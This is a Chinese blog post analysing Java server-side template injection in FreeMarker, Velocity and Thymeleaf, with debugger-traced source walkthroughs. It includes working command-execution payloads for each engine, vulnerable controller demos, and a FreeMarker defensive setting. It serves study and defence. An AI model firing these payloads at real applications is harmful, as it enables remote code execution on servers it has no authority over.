https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

Java SSTI注入学习

Java SSTI注入分析学习

FreeMarker

FreeMarker模板文件主要由如下4个部分组成:

(1)文本:直接输出的部分

(2)注释:使用<#-- ... -->格式做注释,里面内容不会输出

(3)插值:即${...}或#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出

(4)FTL指令:即FreeMarker指令,全称是:FreeMarker Template Language,和HTML标记类似,但名字前加#予以区分,不会输出。FreeMarker采用FreeMarker Template Language(FTL),它是简单的,专用的语言。但是FTL不是像PHP那样成熟的编程语言,这意味着需要其他真实变成语言中进行数据准备,比如数据库查询和业务运算,之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。

FreeMarker是一个模板引擎,一个基于模板生成文本输出的通用工具,使用纯Java编写,模板中没有业务逻辑,外部Java程序通过数据库操作等生成数据传入模板(template)中,然后输出页面。它能够生成各种文本:HTML、XML、RTF、Java源代码等等,而且不需要Servlet环境,并且可以从任何源载入模板,如本地文件、数据库等等。

demo:

hello.ftl

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}
</body>
</html>

HelloFreeMarker.java

public class HelloFreeMarker {
    public static void main(String[] args) throws Exception{
        //1.创建配置类
        Configuration configuration = new Configuration(Configuration.getVersion());
        //2.设置模板所在的目录
        configuration.setDirectoryForTemplateLoading(new File("D:\\develop\\idea\\SSTI\\src\\main\\resources"));
        //3.设置字符集
        configuration.setDefaultEncoding("utf-8");
        //4.加载模板
        Template template = configuration.getTemplate("hello.ftl");
        //5.创建数据模型
        Map map=new HashMap();
        map.put("name", "张三");
        map.put("message", "欢迎来到我的博客!");
        //6.创建Writer对象
        Writer out =new FileWriter(new File("D:\\develop\\idea\\SSTI\\src\\main\\resources\\hello.html"));
        //7.输出
        template.process(map, out);
        //8.关闭Writer对象
        out.close();
    }
}

hello.html 最后运行生成的

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
张三你好,欢迎来到我的博客!
</body>
</html>

存在命令执行的hello.flt,运行解析则弹出计算器

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}
<h3>
    <#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
</h3>
</body>
</html>

直接在template.process(map, out);输出这一句断点

image-20250614213419536

获取根节点,调用visit

image-20250614213737832

把父节点放入栈中 取出每一个子节点再调用visit,最后弹栈,每一个节点调用各自的accept方法

image-20250614214738995

如上图的红框TextBlock#accept输出文本,Comment注释直接返回null

image-20250614214543145

DollarVariable#accept

跟进eval函数,看其如何拿值image-20250614214930805

最后到rootDataModel#get是从开始封装的Environment去那了值 ,回到accept判断是字符串则直接返回

image-20250614215308962

接着看一下assign标签是如何触发命令执行的

调用eval方法

image-20250614215632936

这里的MethodCall继承了Expression,

image-20250614220025397

跟进调用NewBI#_eval

image-20250614220318995

首先,这个利用的类必须是TemplateModel的子类,且不是BeanModel的子类,返回了此类的构造器image-20250614220534126

image-20250614220447382

创建了实例

image-20250614221858656

放入namespace

image-20250614222933926

再次调用DollarVariable处理${value("calc")}

image-20250614222231324

前一步放入了currentNamespace,取出Execute对象

image-20250614222527840

这里的eval获取恶意类,exec执行方法

image-20250615184142772

最后调用到Execute#exec命令执行

image-20250614222619572

前后value名称一样即可完成命令执行

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

freemarker.template.utility.ObjectConstructor

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","ifconfig").start()}

这里第一个参数会类加载,然后调用有参构造函数

image-20250615193321806

最核心的方法,解析对象,参数,调用对应exec方法

image-20250615193457375

freemarker.template.utility.JythonRuntime类

需要jpython依赖

<dependency>
            <groupId>org.python</groupId>
            <artifactId>jython-standalone</artifactId>
            <version>2.7.3</version>
</dependency>
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")</@value>

image-20250615194326730

防御:

将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor过滤

Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:

1.UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。

2.SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。

3.ALLOWS_NOTHING_RESOLVER:不能解析任何类。

任何版本都需要进行安全添加,不然可能会造成ssti注入

velocity

依赖:

<dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity-engine-core</artifactId>
            <version>2.2</version>
</dependency>

demo:

public static void main(String[] args) throws IOException {
        // 1、设置velocity资源加载器
        Properties prop = new Properties();
        prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
        // 2、初始化velocity引擎
        Velocity.init(prop);
        // 3、创建velocity容器
        VelocityContext context = new VelocityContext();
        context.put("name", "Hello Velocity");
        // 4、加载velocity模板
        Template tpl = Velocity.getTemplate("velocitytest.vm", "utf-8");
        // 5、合并数据到模板
        FileWriter fw = new FileWriter("D:\\develop\\idea\\SSTI\\src\\main\\resources\\velocitytest.html");
        tpl.merge(context, fw);
        // 6、释放资源
        fw.close();
    }

velocitytest.vm

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
hello , ${name}
</body>
</html>

image-20250616192226490

Velocity语法:

  • 注释
  • 非解析内容
  • 引用
  • 指令

引用:包括,属性引用,方法引用

方法引用

上下文
context.put("now", new Date());


${now.getTime()}


#hello , 1750073365764 输出结果

指令

指令主要用于定义重用模块、引入外部资源、流程控制。指令以 # 作为起始字符。

条件判断

写一个isLogin()方法

上下文
context.put("user", new User("zhangsan",true));

模板
#if($user.isLogin())
	Welcome back
#else
	Please log in.
#end

输出结果

image-20250616193653582

循环

context.put("items", new ArrayList<>(Arrays.asList("Cat","Dog","Pig")));

image-20250616200046149

插入

Velocity支持包含其他模板文件,通过#include指令实现

#include(another.vm)

数学运算

如#set($a = $b * $c)
a的值为 $a

用于类调用方法也可行

#set($flag = $user.isLogin())

!标识符

它提供了一种简单的方法来确保在引用变量时,如果该变量为空则使用一个默认值,这种功能有助于避免在模板中出现空值,从而增强模板的健壮性和用户体验,当您想要引用一个变量并提供一个默认值时

#set($name = '')

${name!"default"} 

输出default

恶意代码

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

image-20250616201439273

回显whoami命令

#set($x='')
#set($rt = $x.class.forName('java.lang.Runtime'))
#set($chr = $x.class.forName('java.lang.Character'))
#set($str = $x.class.forName('java.lang.String'))
//启动子进程执行命令,返回 `Process` 对象
#set($ex=$rt.getRuntime().exec('whoami')) 
//方法会阻塞直到子进程终止
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

- **作用**:将输出流中的字节转换为字符串并输出。
- **原理**:
  - `$out.available()`  获取可读字节数。
  - `#foreach` 循环遍历每个字节[
  - `$out.read()`  读取单个字节,`Character.toChars()`  转换为字符数组,`String.valueOf()`  转换为字符串。
    
在Velocity模板引擎中
1..是 范围运算符(Range Operator) 的语法
如1..N 生成 [1..2..N]

模板注入:

Velocity.evaluate方法的主要作用是将给定的模板字符串与上下文对象结合并生成最终的输出结果

很好理解,解析引用指定等,为了让模板是动态的,而不是写死的,而evaluate就是赋予了模板动态的特性而这种动态的特性加上变量可控导致了注入

模拟username可控

String username="#set($e=\"e\")$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\")";
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "test");
        ctx.put("phone", "1333333333");
        ctx.put("email", "test@test.com");

        StringWriter out = new StringWriter();
        Velocity.evaluate(ctx, out, "test", templateString);

        System.out.println(out.toString());

以AST树存储,然后调用render解析

image-20250616204134723

将$e放入上下文中#set($e="e")

$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"cmd.exe /c calc\")

通过点将每个方法存储为ASTMethod然后链式调用

image-20250616205207658

通过反射调用方法,invoke执行方法

image-20250616205353852

image-20250616205433693

template.merger

方法:合并加载上下文

这里直接引用Hello-java-sec靶场的例子了,和FreeMarker注入原理一直,改的是模板

而不是上面通过evaluate解析

image-20250616213422455

Thymeleaf

特征

Thymeleafhtml中首先要加上下面的标识

<html xmlns:th="http://www.thymeleaf.org">

语法

<!--th:text 为 Thymeleaf 属性,用于在展示文本-->
<h1 th:text="迎您来到Thymeleaf">欢迎您访问静态页面 HTML</h1>

Thymeleaf提供了一些内置标签,通过标签来实现特定的功能。

标签 作用 示例
th:id 替换id <input th:id="${user.id}"/>
th:text 文本替换 <p text:="${user.name}">bigsai</p>
th:utext 支持html的文本替换 <p utext:="${htmlcontent}">content</p>
th:object 替换对象 <div th:object="${user}"></div>
th:value 替换值 <input th:value="${user.name}" >
th:each 迭代 <tr th:each="student:${user}" >
th:href 替换超链接 <a th:href="@{index.html}">超链接</a>
th:src 替换资源 <script type="text/javascript" th:src="@{index.js}"></script>

poc:

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

存在漏洞的demo,简单描述下漏洞原理,视图污染,在返回视图时存在::会执行片段表达式,其中预处理的操作中存在spel表达式执行

Demo

@Controller
public class TestController {
    @GetMapping("/path")
    public String path(String name) {
        return "user/" + name;
    }
}

直接来到springmvc中视图渲染的函数processDispatchResult,

image-20250707103505181

其中调用render,获取视图名字,调用resolveViewName寻找合适的视图解析器

image-20250707103628338

循环所有视图解析器,调用resolveViewName,返回的其中包含能解析的视图解析器

image-20250707105220495

ContentNegotiatingViewResolver#resolveViewName主要调用getCandidateViews找所有符合的视图解析器

image-20250707105500263

符合的都加入

image-20250707105645580

然后选择最合适的解析器

image-20250707105953068

接下来调用view.render解析

image-20250707110050901

如果包含::则作为片段表达式解析(在片段表达式中::前面部分为templateName,后面部分为markupSelectors)

fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
            if (!viewTemplateName.contains("::")) {
                templateName = viewTemplateName;
                markupSelectors = null;
            } else {
                IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

                FragmentExpression fragmentExpression;
                try {
                    fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
                } catch (TemplateProcessingException var25) {
                    throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
                }

                FragmentExpression.ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);
                templateName = FragmentExpression.resolveTemplateName(fragment);
                markupSelectors = FragmentExpression.resolveFragments(fragment);
                Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters();
                if (nameFragmentParameters != null) {
                    if (fragment.hasSyntheticParameters()) {
                        throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
                    }

                    context.setVariables(nameFragmentParameters);
                }
            }

在这里传入的prepprocess为true,会对输入进行预编译

image-20250707111549587

其中会匹配__,预处理的标记,Thymeleaf的表达式预处理特性允许将表达式置于__...__之中,先执行预处理表达式,再将其结果作为后续表达式的一部分继续处理。

image-20250707111650588

private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);

再次调用parseExpression,这里的preprocess即为false,对表达式做处理

image-20250707114557273

则调用execute解析spel表达式完成命令执行。所以整个poc的构成就很明显了

image-20250707114852715

所以这种也可以的

return "welcome :: " + section

第二种出现漏洞的情况

@GetMapping("/doc/vul/{document}")
public void getDocument(@PathVariable String document) {
    log.info("[vul] SSTI payload: {}", document);
}

这种情况核心是不变的,都是在视图渲染时能够控制视图名称为恶意poc,导致渲染视图时执行片段表达式

由于这里没有返回视图,所以view为空,调用applyDefaultViewName获取默认的视图名

image-20250708080336666

其中会通过getCachedPath获取路径名作为视图名返回

image-20250708080736357

调用transformPath对路径名做格式的处理,其中包括去掉后缀扩展名

image-20250708080932362

所以在poc中如果不加最后的. 则会导致spel表达式中的最后的.被截断,所以这就是为什么后面得加.

image-20250708080555004

之后便是一样的流程,以上3.0.11以及之前可以使用

后面的绕过可以看

JAVA安全之Thymeleaf模板注入防护绕过-先知社区

参考:

JAVA安全之Velocity模板注入刨析-先知社区

Java模版引擎注入(SSTI)漏洞研究 - 郑瀚 - 博客园

JAVA安全之Thymeleaf模板注入防护绕过-先知社区

posted @ 2025-07-12 21:57  kudo4869  阅读(98)  评论(0)    收藏  举报